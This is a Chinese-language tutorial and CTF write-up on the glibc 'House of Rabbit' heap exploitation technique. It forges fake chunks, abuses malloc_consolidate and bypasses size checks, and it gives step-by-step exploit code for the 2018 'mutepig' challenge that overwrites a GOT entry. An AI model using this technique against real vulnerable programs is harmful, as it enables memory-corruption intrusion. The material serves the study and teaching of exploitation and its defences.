House of Rabbit 攻击技术详解
一、技术概述
House of Rabbit 是一种伪造堆块的技术,主要应用于 fastbin attack 攻击场景中。该技术在 glibc 2.23 到 2.26 版本(无 tcachebin)中最为有效,但在有 tcachebin 的情况下(直到 glibc 2.31)仍然可以利用,前提是将相应大小的 tcachebin 链表填满。
二、核心原理
1. 关键函数:malloc_consolidate
malloc_consolidate() 是定义在 malloc.c 中的函数,用于:
- 将 fastbin 中的空闲 chunk 合并整理到 unsorted_bin 中
- 进行初始化堆的工作
该函数在 malloc() 和 free() 中均有可能被调用。
2. 漏洞利用点
当分配一个超大块时,会执行 malloc_consolidate 将 fastbin 中的堆块进行合并,但此时没有对堆块的 size 进行检查,这成为 House of Rabbit 攻击的关键。
三、攻击步骤详解
1. 环境准备
以 glibc-2.23 为例,攻击步骤如下:
-
申请大堆块:
ptr = malloc(0xA00000uLL);程序会使用 mmap 申请,堆块会紧接着 libc 基地址。
-
释放并重新申请:
- 释放该堆块
- 再次申请同样大小的堆块
- 再次释放
这样操作会扩大 top chunk 的大小。
-
申请控制堆块:
- 申请 0x18 大小的堆块(fastbin)
- 申请 0x88 大小的堆块(smallbin)
2. 伪造堆块
-
在可控位置(如 bss 段)伪造两个堆块:
- fake_chunk1 (size: 0x21) 在 0x602130
- fake_chunk2 (size: 0x10) 在 0x602120
-
利用漏洞(UAF、overflow 等)改写 fastbin 中堆块的 fd 指针,指向伪造的 0x21 大小的堆块(0x602130)。
3. 触发合并
- 释放 small chunk,该堆块会与 top chunk 合并。
- 由于 fastbin 堆块也被释放,且与 top chunk 相邻,也会被合并进 top chunk。
- 此时
malloc_consolidate函数会将 fake_chunk1 (0x602130) 插入 unsorted bins 链表。
4. 绕过检查
- 通过漏洞将堆块大小重写为 0xa0001,绕过 'size < av->system_mem' 检查。
- 申请一个超大 chunk,fake_chunk1 会被链接到 largebin(126)(max)。
- 再次通过漏洞改写堆块大小为 0xfffffffffffffff1。
5. 实现任意地址写
完成上述步骤后,可以申请任意大小的堆块,实现任意地址写的目的。
四、实战案例:HITB-GSEC-XCTF 2018 mutepig
1. 程序分析
- 保护机制:PIE 关闭,GOT 表可写
- 功能:
- add:提供三种大小的堆块分配(fastbin、smallbin 和大堆块)
- edit:可修改堆块内容,第二次机会可修改 bss 上的地址指向的位置
- delete:存在 UAF 漏洞
2. 攻击流程
-
初始化堆布局:
add(3, b'aaaa') #0 free(0) add(3, b'aaaa') #1 free(1) -
申请控制堆块:
add(1, b'fast') #2 add(2, b'small') #3 -
伪造堆块并修改指针:
free(2) payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1) edit(2, p64(0x602130)[:7], payload) -
触发合并:
free(3) # malloc_consolidate -
绕过检查并完成攻击:
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001) edit(3, b'a'*7, payload) add(3, b'/bin/sh') #4 -
实现任意地址写:
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1) edit(3, b'w'*7, payload) add(13337, b'a'*7) #5 add(1, p64(0x0000000000602018)[:7]) edit(3, p64(0x00000000004006e6)[:7], b'aaaa') free(2)
五、关键注意事项
-
版本限制:该技术在 glibc 2.23-2.26 最为有效,但在更高版本(至 2.31)仍可利用,需填满相应 tcachebin。
-
指针修改:在修改 fd 指针时,注意不能直接输入 8 个字节,因为最后一位会被置零。
-
堆布局:需要精确控制堆的布局,确保伪造的堆块能够被正确识别和处理。
-
检查绕过:必须正确伪造 size 字段以绕过各种安全检查。
六、防御措施
- 更新 glibc 到最新版本
- 启用所有安全机制(ASLR、PIE 等)
- 严格检查堆操作中的用户输入
- 及时释放并清空指针
通过以上详细分析,可以全面理解 House of Rabbit 攻击技术的原理和实现方式,以及在实际 CTF 题目中的应用方法。